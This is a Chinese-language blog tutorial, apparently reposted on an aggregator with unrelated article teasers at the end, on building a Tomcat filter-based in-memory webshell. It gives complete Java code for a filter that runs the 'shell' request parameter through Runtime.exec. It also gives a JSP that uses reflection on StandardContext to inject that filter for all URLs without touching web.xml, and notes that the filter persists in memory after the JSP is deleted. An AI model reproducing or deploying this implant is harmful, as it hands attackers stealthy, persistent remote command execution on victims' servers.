基于filter的内存马

主要是通过过滤器来拦截severlet请求中的参数,作为过滤器中的参数,来调用自定义过滤器中的恶意函数

在这里我们分析一下filter的实现原理,循序渐进


Demo1:


直接使用filter模拟内存马效果:


1.配置一个简单的severlet的web项目:

实现一个filter类:


package com.naihe;

import javax.servlet.*;
import java.io.IOException;


public class FilertDemo implements Filter {
    @Override
    public void init(FilterConfig filterConfig) throws ServletException {
        System.out.println("初始加完成");
    }

    @Override
    public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
        servletRequest.setCharacterEncoding("utf-8");
        servletResponse.setCharacterEncoding("utf-8");
        servletResponse.setContentType("text/html;charset=UTF-8");
        filterChain.doFilter(servletRequest,servletResponse);
        System.out.println(servletRequest.getParameter("shell"));
        Runtime.getRuntime().exec(servletRequest.getParameter("shell"));
        System.out.println("过滤中。。。");
    }

    @Override
    public void destroy() {
        System.out.println("过滤结束");
    }
}

配置xml:

效果:

可以看到这个无需指定木马文件就能实现webshell,看似很厉害,其实了解java开发都小伙伴都懂这都是最基础serverlet的基本功能,只是添加了一些恶意代码而已。不过这第一步我们就对内存马有了一定的感受(只是感受),接下来就是注意细节,该如何让它在实际中应用与更加隐蔽。

Demo2:


现在我们开始隐藏与实现


package com.naihe;

import javax.servlet.*;
import java.io.IOException;

public class FilertDemo implements Filter {
    @Override
    public void init(FilterConfig filterConfig) throws ServletException {
        System.out.println("初始加完成");
    }

    @Override
    public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
        servletRequest.setCharacterEncoding("utf-8");
        servletResponse.setCharacterEncoding("utf-8");
        servletResponse.setContentType("text/html;charset=UTF-8");
        filterChain.doFilter(servletRequest,servletResponse);
        System.out.println(servletRequest.getParameter("shell"));
        Runtime.getRuntime().exec(servletRequest.getParameter("shell"));
        System.out.println("过滤中。。。");
    }

    @Override
    public void destroy() {
        System.out.println("过滤结束");
    }
}

当然这里的代码还是之前的代码,只是为了方便小伙伴们看源码。
这里我们不使用xml配置filter,这样做的目的就是为了在实际中不修改xml从而触发filter,因为实际渗透中xml是不易修改的,而且容易被发现。
所以,现在我们就开始一步一步分析tomcat是如何通过web.xml生成的filter对象。
首先我们在filterChain变量这里打上断点

跟进doFilter:
会发现ApplicationFilterChain类的filters属性中包含了filter的信息

注意这里的第二个过滤器是tomcat自带的过滤器,且面分析还会用到

跟进internalDoFilter:

可以看到这里的filterConfig类中的filter并非我们之前创建的filter,因此我们可以回过头来看一下有没有我们的想要的filterConfig

确实存在,证明,这里的filter加载是按照顺序进行加载的,因此我们就当中我们在分析第一个filter(自定义的)。

进行查看代码发现后面调用了doFilter

这里就可以进入到tomcat自带的filter


filter切换大概流程:

ApplicationFilterChain(记录了所有filter的信息)--将$this->filter--》filterConfig(获得了一个filter的相关信息)--filterConfig.filter--》filter
--doFilter--》调用自定义filter中的恶意代码

分析到现在,ApplicationFilterChain到底从何而来呢?
我们往前找,找到了StandardWrapperValve这个类,他调用ApplicationFilterFactory的createFilterChain来创建了FilterChain对象

(然后自己调用doFilter进入第一个过滤器)

那么这个FilterChain对象是如何获取filert的相关信息的呢?
下面继续分析
往下查看其他代码发现并没有对filterChain中的值继续改变,说明filterChain中的与filter相关内容在创建是就已经填入了
因此进入ApplicationFilterFactory一探究竟

存放着过滤器名,过滤器实例

在这里获取获取filter的名字和对应的url

这里对应的是名字和过滤器的全限定名

将filterMap的内容添加到filterChain中,并返回filter的值
可知这三个属性都是与filter有关的

那这些值又是从何而来了,继续分析

可以看到又调用了一个类用来创建context

其实到后面分析的话就还是比较复杂了,然而我们也没必要溯源到底,我直接用反射创建对象利用就行,主要能让这个filter添加到其他filter里一起运行就行了。

又回到之前ApplicationFilterFactory里,这里会返回filterChain这个对象,如果我们直接filterConfig的内容,是不是就能在filterChain调用addFilter时,将filter添加进去。

而在上面分析,fiterConfig的内容都是从context中得到,因此只要我们能控制context的内容就行了

FilterDefs:存放 FilterDef 的数组 ,FilterDef 中存储着我们过滤器名,过滤器实例
等基本信息
FilterConfigs:存放 filterConfig 的数组,在 FilterConfig 中主要存放 FilterDef 和
Filter 对象等信息
FilterMaps:存放 FilterMap 的数组,在 FilterMap 中主要存放了 FilterName 和 对应的 URLPattern,只要我们将filter ,FilterDefs,FilterMaps添加到FilterConfigs中就可以添加filter了

在这之前我们需要了解一些知识:

ServletContext:javax.servlet.ServletContextServlet规范中规定了的一个ServletContext接口,提供了Web应用所有Servlet的视图,通过它可以对某个Web应用的各种资源和功能进行访问。WEB容器在启动时,它会为每个Web应用程序都创建一个对应的ServletContext,它代表当前Web应用。并且它被所有客户端共享。

ApplicationContext:org.apache.catalina.core.ApplicationContext
对应Tomcat容器,为了满足Servlet规范,必须包含一个ServletContext接口的实现。Tomcat的Context容器中都会包含一个ApplicationContext。

StandardContext:Catalina主要包括Connector和Container,StandardContext就是一个Container,它主要负责对进入的用户请求进行处理。实际来说,不是由它来进行处理,而是交给内部的valve处理。
一个context表示了一个外部应用,它包含多个wrapper,每个wrapper表示一个servlet定义。(Tomcat 默认的 Service 服务是 Catalina)

这三类是必须的


总体流程:


<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.catalina.core.ApplicationContextFacade" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.util.HashMap" %>
<%@ page import="java.io.IOException" %>
<%
    //反射创建servletContext
    ServletContext servletContext = request.getServletContext();
    ApplicationContextFacade applicationContextFacade = (ApplicationContextFacade) servletContext;
    Field applicationContextFacadeContext = applicationContextFacade.getClass().getDeclaredField("context");
    applicationContextFacadeContext.setAccessible(true);
    //反射创建applicationContext
    ApplicationContext applicationContext = (ApplicationContext) applicationContextFacadeContext.get(applicationContextFacade);
    Field applicationContextContext = applicationContext.getClass().getDeclaredField("context");
    applicationContextContext.setAccessible(true);
    //反射创建standardContext
    StandardContext standardContext = (StandardContext) applicationContextContext.get(applicationContext);


    //创建filterConfigs
    Field filterConfigs = standardContext.getClass().getDeclaredField("filterConfigs");
    filterConfigs.setAccessible(true);
    HashMap hashMap = (HashMap) filterConfigs.get(standardContext);
    String filterName = "Filter";
    if (hashMap.get(filterName)==null){


        Filter filter = new Filter() {
            @Override
            public void init(FilterConfig filterConfig) throws ServletException {
                System.out.println("注入初始化");
            }


            @Override
            public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
                servletRequest.setCharacterEncoding("utf-8");
                servletResponse.setCharacterEncoding("utf-8");
                servletResponse.setContentType("text/html;charset=UTF-8");
                filterChain.doFilter(servletRequest,servletResponse);
                System.out.println(servletRequest.getParameter("shell"));
                Runtime.getRuntime().exec(servletRequest.getParameter("shell"));
                System.out.println("过滤中。。。");
            }


            @Override
            public void destroy() {
//                Filter.super.destroy();
            }
        };
        //构造filterDef对象
        FilterDef filterDef = new FilterDef();
        filterDef.setFilter(filter);
        filterDef.setFilterName(filterName);
        filterDef.setFilterClass(filter.getClass().getName());
        standardContext.addFilterDef(filterDef);


        //构造filterMap对象
        FilterMap filterMap = new FilterMap();
        filterMap.addURLPattern("/*");
        filterMap.setFilterName(filterName);
        filterMap.setDispatcher(DispatcherType.REQUEST.name());
        standardContext.addFilterMapBefore(filterMap);


        //构造filterConfig
        Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
        constructor.setAccessible(true);
        ApplicationFilterConfig applicationFilterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef);


        //将filterConfig添加到filterConfigs中,即可完成注入
        hashMap.put(filterName,applicationFilterConfig);
        response.getWriter().println("successfully");
    }
%>

 先访问:

再执行:

这样一来我们就可以不用配置xml和创建filter类文件就可以直接,实现filter,并且就算jsp被删除,之前创建的对象依旧在内存中

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/306781.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

[uniapp] uni-ui+vue3.2小程序评论列表组件 回复评论 点赞和删除

先看效果 下载地址 uni-app官方插件市场: cc-comment组件 环境 基于vue3.2和uni-ui开发; 依赖版本参考如下: "dependencies": {"dcloudio/uni-mp-weixin": "3.0.0-3090820231124001","dcloudio/uni-ui": "^1.4.28","…

flask+mysql徐州市天气信息可视化分析系统-计算机毕业设计源码04600

摘 要 信息化社会内需要与之针对性的信息获取途径&#xff0c;但是途径的扩展基本上为人们所努力的方向&#xff0c;由于站在的角度存在偏差&#xff0c;人们经常能够获得不同类型信息&#xff0c;这也是技术最为难以攻克的课题。针对天气信息等问题&#xff0c;对天气信息进行…

深度学习在交通标志识别中的应用

深度学习在交通标志识别中的应用 深度学习在交通标志识别中的应用1. 交通标志识别的背景2. CNN在交通标志识别中的应用3. 数据集准备4. 模型训练与优化5. 模型评估与部署结语 深度学习在交通标志识别中的应用 交通标志是道路上的重要元素&#xff0c;它们提供了关键的信息&…

网络的设置

一、网络设置 1.1查看linux基础的网络设置 网关 route -n ip地址ifconfigDNS服务器cat /etc/resolv.conf主机名hostname路由 route -n 网络连接状态ss 或者 netstat域名解析nslookup host 例题&#xff1a;除了ping&#xff0c;什么命令可以测试DNS服务器来解…

机器学习系列--R语言随机森林进行生存分析(2)

随机森林&#xff08;Breiman 2001a&#xff09;&#xff08;RF&#xff09;是一种非参数统计方法&#xff0c;需要没有关于响应的协变关系的分布假设。RF是一种强大的、非线性的技术&#xff0c;通过拟合一组树来稳定预测精度模型估计。随机生存森林&#xff08;RSF&#xff0…

【算法分析与设计】移动零

题目 给定一个数组 nums&#xff0c;编写一个函数将所有 0 移动到数组的末尾&#xff0c;同时保持非零元素的相对顺序。 请注意 &#xff0c;必须在不复制数组的情况下原地对数组进行操作。 示例 1: 输入: nums [0,1,0,3,12] 输出: [1,3,12,0,0] 示例 2: 输入: nums [0…

【Github-Action】统计整个社区所有项目的贡献

thinkasany/organize-contributors 介绍&#x1f680;谁在用我效果&#x1f354; 使用指南示例仓库mdpagesyml配置yml demo 介绍 项目地址 如果你对github-action感兴趣&#xff0c;还可以看这篇文章&#xff0c; 这篇文章教会你如何开发Github Action&#xff0c;并且让你明…

2024年跨境电商上半年有哪些营销节日?

2024年伊始&#xff0c;跨境电商开启新一轮的营销竞技&#xff0c;那么首先需要客户需求&#xff0c;节假日与用户需求息息相关&#xff0c;那么接下来小编为大家整理2024上半年海外都有哪些节日和假期&#xff1f;跨境卖家如何见针对营销日历选品&#xff0c;助力卖家把握2024…

JavaScript中解锁Map和Set的力量

&#x1f9d1;‍&#x1f393; 个人主页&#xff1a;《爱蹦跶的大A阿》 &#x1f525;当前正在更新专栏&#xff1a;《VUE》 、《JavaScript保姆级教程》、《krpano》 ​ ​ ✨ 前言 ES6带来了Map和Set两个新的数据结构 - 它们分别用于存放键值对和唯一值。Map和Set提供了更…

调试器加载错误,从任务栏打开可能会导致该问题 2024/1/8

&#x1f9e7;喜欢将常用软件固定在任务栏的用户肯定很苦恼这个问题 &#x1f9e7;问题复现 &#x1f9e7;这里先查找一下原因 &#x1f9e7;查看一下固定在任务栏的微信小程序开发工具的属性 如果不会打开任务栏图标属性界面的小伙伴请先翻到文章最后 &#x1f9e7;再使用同样…

数据结构与算法教程,数据结构C语言版教程!(第三部分、栈(Stack)和队列(Queue)详解)二

第三部分、栈(Stack)和队列(Queue)详解 栈和队列&#xff0c;严格意义上来说&#xff0c;也属于线性表&#xff0c;因为它们也都用于存储逻辑关系为 "一对一" 的数据&#xff0c;但由于它们比较特殊&#xff0c;因此将其单独作为一章&#xff0c;做重点讲解。 使用栈…

【JVM 基础】 Java 类加载机制

JVM 基础 - Java 类加载机制 类的生命周期类的加载: 查找并加载类的二进制数据连接验证: 确保被加载的类的正确性准备: 为类的静态变量分配内存&#xff0c;并将其初始化为默认值解析: 把类中的符号引用转换为直接引用 初始化使用卸载 类加载器&#xff0c; JVM类加载机制类加载…

「 CodeQL从入门到精通系列 」03.CodeQL常用术语介绍

相比其他代码检测工具&#xff0c;CodeQL中定义了很多专用术语&#xff0c;为了更快上手后续章节&#xff0c;本文对接下来要用到的术语做了统一汇总与解读。 1. 查询语言(QL) QL是一种声明性、面向对象的查询语言&#xff0c;经过优化&#xff0c;可实现对分层数据结构&#…

kafka入门(六):日志分段(LogSegment)

日志分段&#xff08;LogSegment&#xff09; Kafka的一个 主题可以分为多个分区。 一个分区可以有一至多个副本&#xff0c;每个副本对应一个日志文件。 每个日志文件对应一个至多个日志分段&#xff08;LogSegment&#xff09;。 每个日志分段还可以细分为索引文件、日志存储…

mybatis plus相同Id与xml配置错误时,mybatis plus解决逻辑

前言 处理做项目的问题&#xff0c;其中不乏奇奇怪怪的问题&#xff0c;其中mybatis plus的问题感觉有点隐蔽&#xff0c;有些是运行时出现&#xff0c;有些是运行到具体的逻辑触发&#xff0c;对于应用的状态监控提出了极大的挑战&#xff0c;应用的状态由健康检查接口提供&a…

facebook广告的基础知识与类型

Facebook广告是在Facebook平台上展示的一种数字广告形式&#xff0c;它允许广告主通过定位特定的受众群体来推广他们的产品、服务或品牌。以下是一些关于Facebook广告的基础知识&#xff1a; 支持Facebook广告的卡、556150、532959&#xff0c;点击获取 广告形式&#xff1a; …

【Proteus仿真】【Arduino单片机】智能感应温控风扇

文章目录 一、功能简介二、软件设计三、实验现象联系作者 一、功能简介 本项目使用Proteus8仿真Arduino单片机控制器&#xff0c;使用LCD1602液晶显示模块、DS18B20温度、按键、声光报警、L293D电机驱动等。 主要功能&#xff1a; 系统运行后&#xff0c;LCD1602显示传感器检…

.NET Framework 与 .NET Core 与 .NET Standard 之间的差异

介绍 在本文中&#xff0c;我们将探讨 .NET Framework、.NET Core 和 .NET Standard 之间的差异。 .NET Framework 与 .NET Core .NET框架.NET核心 历史 .NET Framework 是 .NET 的第一个实现。 .NET Core 是 .NET 的最新实现。 开源 .NET Framework 的某些组件是开源的。 .N…

前端实现搜索功能

最近遇到一个需求,用户在输入框输入关键字之后,点击搜索按钮后进行搜索,如下图,选中的数据在下面,上面展现的是搜索后的数据,现在选中了2条数据: 当用户输入KET后点击搜索,搜出的结果有16条,勾选全选选中后,将选中的16条的数据加到之前已选的2条数据里,于是此时已选…

认识Linux指令之 “ head tail ” 命令

01.head指令 head 与 tail 就像它的名字一样的浅显易懂&#xff0c;它是用来显示开头或结尾某个数量的文字区块&#xff0c;head 用来显示档案的开头至标准输出中&#xff0c;而 tail 想当然尔就是看档案的结尾。 语法&#xff1a; head [参数]... [文件]... 功能&#…